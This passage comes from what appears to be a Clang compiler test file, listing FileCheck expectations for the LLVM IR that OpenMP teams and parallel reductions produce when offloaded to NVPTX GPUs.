[[C:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_3:%.*]], %struct._globalized_locals_ty.3* [[TMP6]], i32 0, i32 0 // CHECK4-NEXT: [[TMP10:%.*]] = getelementptr inbounds [2048 x i8], [2048 x i8]* [[C]], i32 0, i32 [[TMP7]] // CHECK4-NEXT: [[TMP11:%.*]] = load i8, i8* [[TMP9]], align 1 // CHECK4-NEXT: store i8 [[TMP11]], i8* [[TMP10]], align 128 // CHECK4-NEXT: [[TMP12:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK4-NEXT: [[TMP13:%.*]] = load i8*, i8** [[TMP12]], align 4 // CHECK4-NEXT: [[TMP14:%.*]] = bitcast i8* [[TMP13]] to float* // CHECK4-NEXT: [[D:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_3]], %struct._globalized_locals_ty.3* [[TMP6]], i32 0, i32 1 // CHECK4-NEXT: [[TMP15:%.*]] = getelementptr inbounds [2048 x float], [2048 x float]* [[D]], i32 0, i32 [[TMP7]] // CHECK4-NEXT: [[TMP16:%.*]] = load float, float* [[TMP14]], align 4 // CHECK4-NEXT: store float [[TMP16]], float* [[TMP15]], align 128 // CHECK4-NEXT: ret void // CHECK4-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_reduce_func8 // CHECK4-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK4-NEXT: entry: // CHECK4-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK4-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK4-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK4-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK4-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK4-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty.3* // CHECK4-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: [[TMP6:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK4-NEXT: [[C:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_3:%.*]], %struct._globalized_locals_ty.3* [[TMP4]], i32 0, i32 0 // CHECK4-NEXT: [[TMP7:%.*]] = getelementptr inbounds [2048 x i8], [2048 x i8]* [[C]], i32 0, i32 [[TMP5]] // CHECK4-NEXT: store i8* [[TMP7]], i8** [[TMP6]], align 4 // CHECK4-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK4-NEXT: [[D:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_3]], %struct._globalized_locals_ty.3* [[TMP4]], i32 0, i32 1 // CHECK4-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2048 x float], [2048 x float]* [[D]], i32 0, i32 [[TMP5]] // CHECK4-NEXT: [[TMP10:%.*]] = bitcast float* [[TMP9]] to i8* // CHECK4-NEXT: store i8* [[TMP10]], i8** [[TMP8]], align 4 // CHECK4-NEXT: [[TMP11:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK4-NEXT: [[TMP12:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK4-NEXT: call void @"_omp$reduction$reduction_func4"(i8* [[TMP11]], i8* [[TMP12]]) #[[ATTR3]] // CHECK4-NEXT: ret void // CHECK4-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_copy_func9 // CHECK4-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK4-NEXT: entry: // CHECK4-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK4-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK4-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK4-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK4-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [2 x i8*]* // CHECK4-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK4-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty.3* // CHECK4-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK4-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK4-NEXT: [[C:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_3:%.*]], %struct._globalized_locals_ty.3* [[TMP6]], i32 0, i32 0 // CHECK4-NEXT: [[TMP10:%.*]] = getelementptr inbounds [2048 x i8], [2048 x i8]* [[C]], i32 0, i32 [[TMP7]] // CHECK4-NEXT: [[TMP11:%.*]] = load i8, i8* [[TMP10]], align 128 // CHECK4-NEXT: store i8 [[TMP11]], i8* [[TMP9]], align 1 // CHECK4-NEXT: [[TMP12:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK4-NEXT: [[TMP13:%.*]] = load i8*, i8** [[TMP12]], align 4 // CHECK4-NEXT: [[TMP14:%.*]] = bitcast i8* [[TMP13]] to float* // CHECK4-NEXT: [[D:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_3]], %struct._globalized_locals_ty.3* [[TMP6]], i32 0, i32 1 // CHECK4-NEXT: [[TMP15:%.*]] = getelementptr inbounds [2048 x float], [2048 x float]* [[D]], i32 0, i32 [[TMP7]] // CHECK4-NEXT: [[TMP16:%.*]] = load float, float* [[TMP15]], align 128 // CHECK4-NEXT: store float [[TMP16]], float* [[TMP14]], align 4 // CHECK4-NEXT: ret void // CHECK4-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_reduce_func10 // CHECK4-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK4-NEXT: entry: // CHECK4-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK4-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK4-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK4-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK4-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK4-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty.3* // CHECK4-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: [[TMP6:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK4-NEXT: [[C:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_3:%.*]], %struct._globalized_locals_ty.3* [[TMP4]], i32 0, i32 0 // CHECK4-NEXT: [[TMP7:%.*]] = getelementptr inbounds [2048 x i8], [2048 x i8]* [[C]], i32 0, i32 [[TMP5]] // CHECK4-NEXT: store i8* [[TMP7]], i8** [[TMP6]], align 4 // CHECK4-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK4-NEXT: [[D:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_3]], %struct._globalized_locals_ty.3* [[TMP4]], i32 0, i32 1 // CHECK4-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2048 x float], [2048 x float]* [[D]], i32 0, i32 [[TMP5]] // CHECK4-NEXT: [[TMP10:%.*]] = bitcast float* [[TMP9]] to i8* // CHECK4-NEXT: store i8* [[TMP10]], i8** [[TMP8]], align 4 // CHECK4-NEXT: [[TMP11:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK4-NEXT: [[TMP12:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK4-NEXT: call void @"_omp$reduction$reduction_func4"(i8* [[TMP12]], i8* [[TMP11]]) #[[ATTR3]] // CHECK4-NEXT: ret void // CHECK4-LABEL: define {{[^@]+}}@{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}__Z9ftemplateIcET_i_l36 // CHECK4-SAME: (i32 [[A:%.*]], i32 [[B:%.*]]) #[[ATTR1]] { // CHECK4-NEXT: entry: // CHECK4-NEXT: [[A_ADDR:%.*]] = alloca i32, align 4 // CHECK4-NEXT: [[B_ADDR:%.*]] = alloca i32, align 4 // CHECK4-NEXT: [[DOTZERO_ADDR:%.*]] = alloca i32, align 4 // CHECK4-NEXT: [[DOTTHREADID_TEMP_:%.*]] = alloca i32, align 4 // CHECK4-NEXT: store i32 0, i32* [[DOTZERO_ADDR]], align 4 // CHECK4-NEXT: store i32 [[A]], i32* [[A_ADDR]], align 4 // CHECK4-NEXT: store i32 [[B]], i32* [[B_ADDR]], align 4 // CHECK4-NEXT: [[CONV:%.*]] = bitcast i32* [[B_ADDR]] to i16* // CHECK4-NEXT: [[NVPTX_NUM_THREADS:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.ntid.x() // CHECK4-NEXT: call void @__kmpc_spmd_kernel_init(i32 [[NVPTX_NUM_THREADS]], i16 1) // CHECK4-NEXT: call void @__kmpc_data_sharing_init_stack_spmd() // CHECK4-NEXT: br label [[DOTEXECUTE:%.*]] // CHECK4: .execute: // CHECK4-NEXT: [[TMP0:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB3:[0-9]+]]) // CHECK4-NEXT: store i32 [[TMP0]], i32* [[DOTTHREADID_TEMP_]], align 4 // CHECK4-NEXT: call void @__omp_outlined__11(i32* [[DOTTHREADID_TEMP_]], i32* [[DOTZERO_ADDR]], i32* [[A_ADDR]], i16* [[CONV]]) #[[ATTR3]] // CHECK4-NEXT: br label [[DOTOMP_DEINIT:%.*]] // CHECK4: .omp.deinit: // CHECK4-NEXT: call void @__kmpc_spmd_kernel_deinit_v2(i16 1) // CHECK4-NEXT: br label [[DOTEXIT:%.*]] // CHECK4: .exit: // CHECK4-NEXT: ret void // CHECK4-LABEL: define {{[^@]+}}@__omp_outlined__11 // CHECK4-SAME: (i32* noalias [[DOTGLOBAL_TID_:%.*]], i32* noalias [[DOTBOUND_TID_:%.*]], i32* nonnull align 4 dereferenceable(4) [[A:%.*]], i16* nonnull align 2 dereferenceable(2) [[B:%.*]]) #[[ATTR1]] { // CHECK4-NEXT: entry: // CHECK4-NEXT: [[DOTGLOBAL_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK4-NEXT: [[DOTBOUND_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK4-NEXT: [[A_ADDR:%.*]] = alloca i32*, align 4 // CHECK4-NEXT: [[B_ADDR:%.*]] = alloca i16*, align 4 // CHECK4-NEXT: [[A1:%.*]] = alloca i32, align 4 // CHECK4-NEXT: [[B2:%.*]] = alloca i16, align 2 // CHECK4-NEXT: [[CAPTURED_VARS_ADDRS:%.*]] = alloca [2 x i8*], align 4 // CHECK4-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK4-NEXT: store i32* [[DOTGLOBAL_TID_]], i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK4-NEXT: store i32* [[DOTBOUND_TID_]], i32** [[DOTBOUND_TID__ADDR]], align 4 // CHECK4-NEXT: store i32* [[A]], i32** [[A_ADDR]], align 4 // CHECK4-NEXT: store i16* [[B]], i16** [[B_ADDR]], align 4 // CHECK4-NEXT: [[TMP0:%.*]] = load i32*, i32** [[A_ADDR]], align 4 // CHECK4-NEXT: [[TMP1:%.*]] = load i16*, i16** [[B_ADDR]], align 4 // CHECK4-NEXT: store i32 0, i32* [[A1]], align 4 // CHECK4-NEXT: store i16 -32768, i16* [[B2]], align 2 // CHECK4-NEXT: [[TMP2:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[CAPTURED_VARS_ADDRS]], i32 0, i32 0 // CHECK4-NEXT: [[TMP3:%.*]] = bitcast i32* [[A1]] to i8* // CHECK4-NEXT: store i8* [[TMP3]], i8** [[TMP2]], align 4 // CHECK4-NEXT: [[TMP4:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[CAPTURED_VARS_ADDRS]], i32 0, i32 1 // CHECK4-NEXT: [[TMP5:%.*]] = bitcast i16* [[B2]] to i8* // CHECK4-NEXT: store i8* [[TMP5]], i8** [[TMP4]], align 4 // CHECK4-NEXT: [[TMP6:%.*]] = load i32*, i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK4-NEXT: [[TMP7:%.*]] = load i32, i32* [[TMP6]], align 4 // CHECK4-NEXT: [[TMP8:%.*]] = bitcast [2 x i8*]* [[CAPTURED_VARS_ADDRS]] to i8** // CHECK4-NEXT: call void @__kmpc_parallel_51(%struct.ident_t* @[[GLOB3]], i32 [[TMP7]], i32 1, i32 -1, i32 -1, i8* bitcast (void (i32*, i32*, i32*, i16*)* @__omp_outlined__12 to i8*), i8* null, i8** [[TMP8]], i32 2) // CHECK4-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK4-NEXT: [[TMP10:%.*]] = bitcast i32* [[A1]] to i8* // CHECK4-NEXT: store i8* [[TMP10]], i8** [[TMP9]], align 4 // CHECK4-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK4-NEXT: [[TMP12:%.*]] = bitcast i16* [[B2]] to i8* // CHECK4-NEXT: store i8* [[TMP12]], i8** [[TMP11]], align 4 // CHECK4-NEXT: [[TMP13:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK4-NEXT: [[TMP14:%.*]] = load i8*, i8** @"_openmp_teams_reductions_buffer_$_$ptr", align 4 // CHECK4-NEXT: [[TMP15:%.*]] = call i32 @__kmpc_nvptx_teams_reduce_nowait_v2(%struct.ident_t* @[[GLOB3]], i32 [[TMP7]], i8* [[TMP14]], i32 2048, i8* [[TMP13]], void (i8*, i16, i16, i16)* @_omp_reduction_shuffle_and_reduce_func17, void (i8*, i32)* @_omp_reduction_inter_warp_copy_func18, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_copy_func19, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_reduce_func20, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_copy_func21, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_reduce_func22) // CHECK4-NEXT: [[TMP16:%.*]] = icmp eq i32 [[TMP15]], 1 // CHECK4-NEXT: br i1 [[TMP16]], label [[DOTOMP_REDUCTION_THEN:%.*]], label [[DOTOMP_REDUCTION_DONE:%.*]] // CHECK4: .omp.reduction.then: // CHECK4-NEXT: [[TMP17:%.*]] = load i32, i32* [[TMP0]], align 4 // CHECK4-NEXT: [[TMP18:%.*]] = load i32, i32* [[A1]], align 4 // CHECK4-NEXT: [[OR:%.*]] = or i32 [[TMP17]], [[TMP18]] // CHECK4-NEXT: store i32 [[OR]], i32* [[TMP0]], align 4 // CHECK4-NEXT: [[TMP19:%.*]] = load i16, i16* [[TMP1]], align 2 // CHECK4-NEXT: [[CONV:%.*]] = sext i16 [[TMP19]] to i32 // CHECK4-NEXT: [[TMP20:%.*]] = load i16, i16* [[B2]], align 2 // CHECK4-NEXT: [[CONV3:%.*]] = sext i16 [[TMP20]] to i32 // CHECK4-NEXT: [[CMP:%.*]] = icmp sgt i32 [[CONV]], [[CONV3]] // CHECK4-NEXT: br i1 [[CMP]], label [[COND_TRUE:%.*]], label [[COND_FALSE:%.*]] // CHECK4: cond.true: // CHECK4-NEXT: [[TMP21:%.*]] = load i16, i16* [[TMP1]], align 2 // CHECK4-NEXT: br label [[COND_END:%.*]] // CHECK4: cond.false: // CHECK4-NEXT: [[TMP22:%.*]] = load i16, i16* [[B2]], align 2 // CHECK4-NEXT: br label [[COND_END]] // CHECK4: cond.end: // CHECK4-NEXT: [[COND:%.*]] = phi i16 [ [[TMP21]], [[COND_TRUE]] ], [ [[TMP22]], [[COND_FALSE]] ] // CHECK4-NEXT: store i16 [[COND]], i16* [[TMP1]], align 2 // CHECK4-NEXT: call void @__kmpc_nvptx_end_reduce_nowait(i32 [[TMP7]]) // CHECK4-NEXT: br label [[DOTOMP_REDUCTION_DONE]] // CHECK4: .omp.reduction.done: // CHECK4-NEXT: ret void // CHECK4-LABEL: define {{[^@]+}}@__omp_outlined__12 // CHECK4-SAME: (i32* noalias [[DOTGLOBAL_TID_:%.*]], i32* noalias [[DOTBOUND_TID_:%.*]], i32* nonnull align 4 dereferenceable(4) [[A:%.*]], i16* nonnull align 2 dereferenceable(2) [[B:%.*]]) #[[ATTR1]] { // CHECK4-NEXT: entry: // CHECK4-NEXT: [[DOTGLOBAL_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK4-NEXT: [[DOTBOUND_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK4-NEXT: [[A_ADDR:%.*]] = alloca i32*, align 4 // CHECK4-NEXT: [[B_ADDR:%.*]] = alloca i16*, align 4 // CHECK4-NEXT: [[A1:%.*]] = alloca i32, align 4 // CHECK4-NEXT: [[B2:%.*]] = alloca i16, align 2 // CHECK4-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK4-NEXT: store i32* [[DOTGLOBAL_TID_]], i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK4-NEXT: store i32* [[DOTBOUND_TID_]], i32** [[DOTBOUND_TID__ADDR]], align 4 // CHECK4-NEXT: store i32* [[A]], i32** [[A_ADDR]], align 4 // CHECK4-NEXT: store i16* [[B]], i16** [[B_ADDR]], align 4 // CHECK4-NEXT: [[TMP0:%.*]] = load i32*, i32** [[A_ADDR]], align 4 // CHECK4-NEXT: [[TMP1:%.*]] = load i16*, i16** [[B_ADDR]], align 4 // CHECK4-NEXT: store i32 0, i32* [[A1]], align 4 // CHECK4-NEXT: store i16 -32768, i16* [[B2]], align 2 // CHECK4-NEXT: [[TMP2:%.*]] = load i32, i32* [[A1]], align 4 // CHECK4-NEXT: [[OR:%.*]] = or i32 [[TMP2]], 1 // CHECK4-NEXT: store i32 [[OR]], i32* [[A1]], align 4 // CHECK4-NEXT: [[TMP3:%.*]] = load i16, i16* [[B2]], align 2 // CHECK4-NEXT: [[CONV:%.*]] = sext i16 [[TMP3]] to i32 // CHECK4-NEXT: [[CMP:%.*]] = icmp sgt i32 99, [[CONV]] // CHECK4-NEXT: br i1 [[CMP]], label [[COND_TRUE:%.*]], label [[COND_FALSE:%.*]] // CHECK4: cond.true: // CHECK4-NEXT: br label [[COND_END:%.*]] // CHECK4: cond.false: // CHECK4-NEXT: [[TMP4:%.*]] = load i16, i16* [[B2]], align 2 // CHECK4-NEXT: [[CONV3:%.*]] = sext i16 [[TMP4]] to i32 // CHECK4-NEXT: br label [[COND_END]] // CHECK4: cond.end: // CHECK4-NEXT: [[COND:%.*]] = phi i32 [ 99, [[COND_TRUE]] ], [ [[CONV3]], [[COND_FALSE]] ] // CHECK4-NEXT: [[CONV4:%.*]] = trunc i32 [[COND]] to i16 // CHECK4-NEXT: store i16 [[CONV4]], i16* [[B2]], align 2 // CHECK4-NEXT: [[TMP5:%.*]] = load i32*, i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK4-NEXT: [[TMP6:%.*]] = load i32, i32* [[TMP5]], align 4 // CHECK4-NEXT: [[TMP7:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK4-NEXT: [[TMP8:%.*]] = bitcast i32* [[A1]] to i8* // CHECK4-NEXT: store i8* [[TMP8]], i8** [[TMP7]], align 4 // CHECK4-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK4-NEXT: [[TMP10:%.*]] = bitcast i16* [[B2]] to i8* // CHECK4-NEXT: store i8* [[TMP10]], i8** [[TMP9]], align 4 // CHECK4-NEXT: [[TMP11:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK4-NEXT: [[TMP12:%.*]] = call i32 @__kmpc_nvptx_parallel_reduce_nowait_v2(%struct.ident_t* @[[GLOB3]], i32 [[TMP6]], i32 2, i32 8, i8* [[TMP11]], void (i8*, i16, i16, i16)* @_omp_reduction_shuffle_and_reduce_func14, void (i8*, i32)* @_omp_reduction_inter_warp_copy_func15) // CHECK4-NEXT: [[TMP13:%.*]] = icmp eq i32 [[TMP12]], 1 // CHECK4-NEXT: br i1 [[TMP13]], label [[DOTOMP_REDUCTION_THEN:%.*]], label [[DOTOMP_REDUCTION_DONE:%.*]] // CHECK4: .omp.reduction.then: // CHECK4-NEXT: [[TMP14:%.*]] = load i32, i32* [[TMP0]], align 4 // CHECK4-NEXT: [[TMP15:%.*]] = load i32, i32* [[A1]], align 4 // CHECK4-NEXT: [[OR5:%.*]] = or i32 [[TMP14]], [[TMP15]] // CHECK4-NEXT: store i32 [[OR5]], i32* [[TMP0]], align 4 // CHECK4-NEXT: [[TMP16:%.*]] = load i16, i16* [[TMP1]], align 2 // CHECK4-NEXT: [[CONV6:%.*]] = sext i16 [[TMP16]] to i32 // CHECK4-NEXT: [[TMP17:%.*]] = load i16, i16* [[B2]], align 2 // CHECK4-NEXT: [[CONV7:%.*]] = sext i16 [[TMP17]] to i32 // CHECK4-NEXT: [[CMP8:%.*]] = icmp sgt i32 [[CONV6]], [[CONV7]] // CHECK4-NEXT: br i1 [[CMP8]], label [[COND_TRUE9:%.*]], label [[COND_FALSE10:%.*]] // CHECK4: cond.true9: // CHECK4-NEXT: [[TMP18:%.*]] = load i16, i16* [[TMP1]], align 2 // CHECK4-NEXT: br label [[COND_END11:%.*]] // CHECK4: cond.false10: // CHECK4-NEXT: [[TMP19:%.*]] = load i16, i16* [[B2]], align 2 // CHECK4-NEXT: br label [[COND_END11]] // CHECK4: cond.end11: // CHECK4-NEXT: [[COND12:%.*]] = phi i16 [ [[TMP18]], [[COND_TRUE9]] ], [ [[TMP19]], [[COND_FALSE10]] ] // CHECK4-NEXT: store i16 [[COND12]], i16* [[TMP1]], align 2 // CHECK4-NEXT: call void @__kmpc_nvptx_end_reduce_nowait(i32 [[TMP6]]) // CHECK4-NEXT: br label [[DOTOMP_REDUCTION_DONE]] // CHECK4: .omp.reduction.done: // CHECK4-NEXT: ret void // CHECK4-LABEL: define {{[^@]+}}@_omp_reduction_shuffle_and_reduce_func14 // CHECK4-SAME: (i8* [[TMP0:%.*]], i16 signext [[TMP1:%.*]], i16 signext [[TMP2:%.*]], i16 signext [[TMP3:%.*]]) #[[ATTR0]] { // CHECK4-NEXT: entry: // CHECK4-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: [[DOTADDR1:%.*]] = alloca i16, align 2 // CHECK4-NEXT: [[DOTADDR2:%.*]] = alloca i16, align 2 // CHECK4-NEXT: [[DOTADDR3:%.*]] = alloca i16, align 2 // CHECK4-NEXT: [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK4-NEXT: [[DOTOMP_REDUCTION_ELEMENT:%.*]] = alloca i32, align 4 // CHECK4-NEXT: [[DOTOMP_REDUCTION_ELEMENT4:%.*]] = alloca i16, align 2 // CHECK4-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK4-NEXT: store i16 [[TMP1]], i16* [[DOTADDR1]], align 2 // CHECK4-NEXT: store i16 [[TMP2]], i16* [[DOTADDR2]], align 2 // CHECK4-NEXT: store i16 [[TMP3]], i16* [[DOTADDR3]], align 2 // CHECK4-NEXT: [[TMP4:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK4-NEXT: [[TMP5:%.*]] = bitcast i8* [[TMP4]] to [2 x i8*]* // CHECK4-NEXT: [[TMP6:%.*]] = load i16, i16* [[DOTADDR1]], align 2 // CHECK4-NEXT: [[TMP7:%.*]] = load i16, i16* [[DOTADDR2]], align 2 // CHECK4-NEXT: [[TMP8:%.*]] = load i16, i16* [[DOTADDR3]], align 2 // CHECK4-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK4-NEXT: [[TMP10:%.*]] = load i8*, i8** [[TMP9]], align 4 // CHECK4-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK4-NEXT: [[TMP12:%.*]] = bitcast i8* [[TMP10]] to i32* // CHECK4-NEXT: [[TMP13:%.*]] = getelementptr i32, i32* [[TMP12]], i32 1 // CHECK4-NEXT: [[TMP14:%.*]] = bitcast i32* [[TMP13]] to i8* // CHECK4-NEXT: [[TMP15:%.*]] = load i32, i32* [[TMP12]], align 4 // CHECK4-NEXT: [[NVPTX_WARP_SIZE:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK4-NEXT: [[TMP16:%.*]] = trunc i32 [[NVPTX_WARP_SIZE]] to i16 // CHECK4-NEXT: [[TMP17:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP15]], i16 [[TMP7]], i16 [[TMP16]]) // CHECK4-NEXT: store i32 [[TMP17]], i32* [[DOTOMP_REDUCTION_ELEMENT]], align 4 // CHECK4-NEXT: [[TMP18:%.*]] = getelementptr i32, i32* [[TMP12]], i32 1 // CHECK4-NEXT: [[TMP19:%.*]] = getelementptr i32, i32* [[DOTOMP_REDUCTION_ELEMENT]], i32 1 // CHECK4-NEXT: [[TMP20:%.*]] = bitcast i32* [[DOTOMP_REDUCTION_ELEMENT]] to i8* // CHECK4-NEXT: store i8* [[TMP20]], i8** [[TMP11]], align 4 // CHECK4-NEXT: [[TMP21:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 1 // CHECK4-NEXT: [[TMP22:%.*]] = load i8*, i8** [[TMP21]], align 4 // CHECK4-NEXT: [[TMP23:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 1 // CHECK4-NEXT: [[TMP24:%.*]] = bitcast i8* [[TMP22]] to i16* // CHECK4-NEXT: [[TMP25:%.*]] = getelementptr i16, i16* [[TMP24]], i32 1 // CHECK4-NEXT: [[TMP26:%.*]] = bitcast i16* [[TMP25]] to i8* // CHECK4-NEXT: [[TMP27:%.*]] = load i16, i16* [[TMP24]], align 2 // CHECK4-NEXT: [[TMP28:%.*]] = sext i16 [[TMP27]] to i32 // CHECK4-NEXT: [[NVPTX_WARP_SIZE5:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK4-NEXT: [[TMP29:%.*]] = trunc i32 [[NVPTX_WARP_SIZE5]] to i16 // CHECK4-NEXT: [[TMP30:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP28]], i16 [[TMP7]], i16 [[TMP29]]) // CHECK4-NEXT: [[TMP31:%.*]] = trunc i32 [[TMP30]] to i16 // CHECK4-NEXT: store i16 [[TMP31]], i16* [[DOTOMP_REDUCTION_ELEMENT4]], align 2 // CHECK4-NEXT: [[TMP32:%.*]] = getelementptr i16, i16* [[TMP24]], i32 1 // CHECK4-NEXT: [[TMP33:%.*]] = getelementptr i16, i16* [[DOTOMP_REDUCTION_ELEMENT4]], i32 1 // CHECK4-NEXT: [[TMP34:%.*]] = bitcast i16* [[DOTOMP_REDUCTION_ELEMENT4]] to i8* // CHECK4-NEXT: store i8* [[TMP34]], i8** [[TMP23]], align 4 // CHECK4-NEXT: [[TMP35:%.*]] = icmp eq i16 [[TMP8]], 0 // CHECK4-NEXT: [[TMP36:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK4-NEXT: 